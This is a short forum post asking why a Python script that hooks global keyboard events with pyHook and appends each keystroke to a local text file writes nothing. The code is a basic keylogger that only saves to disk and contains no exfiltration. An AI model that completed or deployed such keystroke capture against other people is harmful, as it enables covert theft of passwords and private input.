Jul-14-2017, 05:00 PM
I am trying to get the keystrokes values and put inside the file but nothing is written there and no errors.
Thanks
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
filePath = 'D:\\test2.txt' def OnKeyboardEvent(e): global keylog keylog = chr (e.Ascii) with open (filePath, 'a' ) as f: f.write(keylog) f.close() return True h_m = pyHook.HookManager() h_m.KeyDown = OnKeyboardEvent h_m.HookKeyboard() pythoncom.PumpMessages() |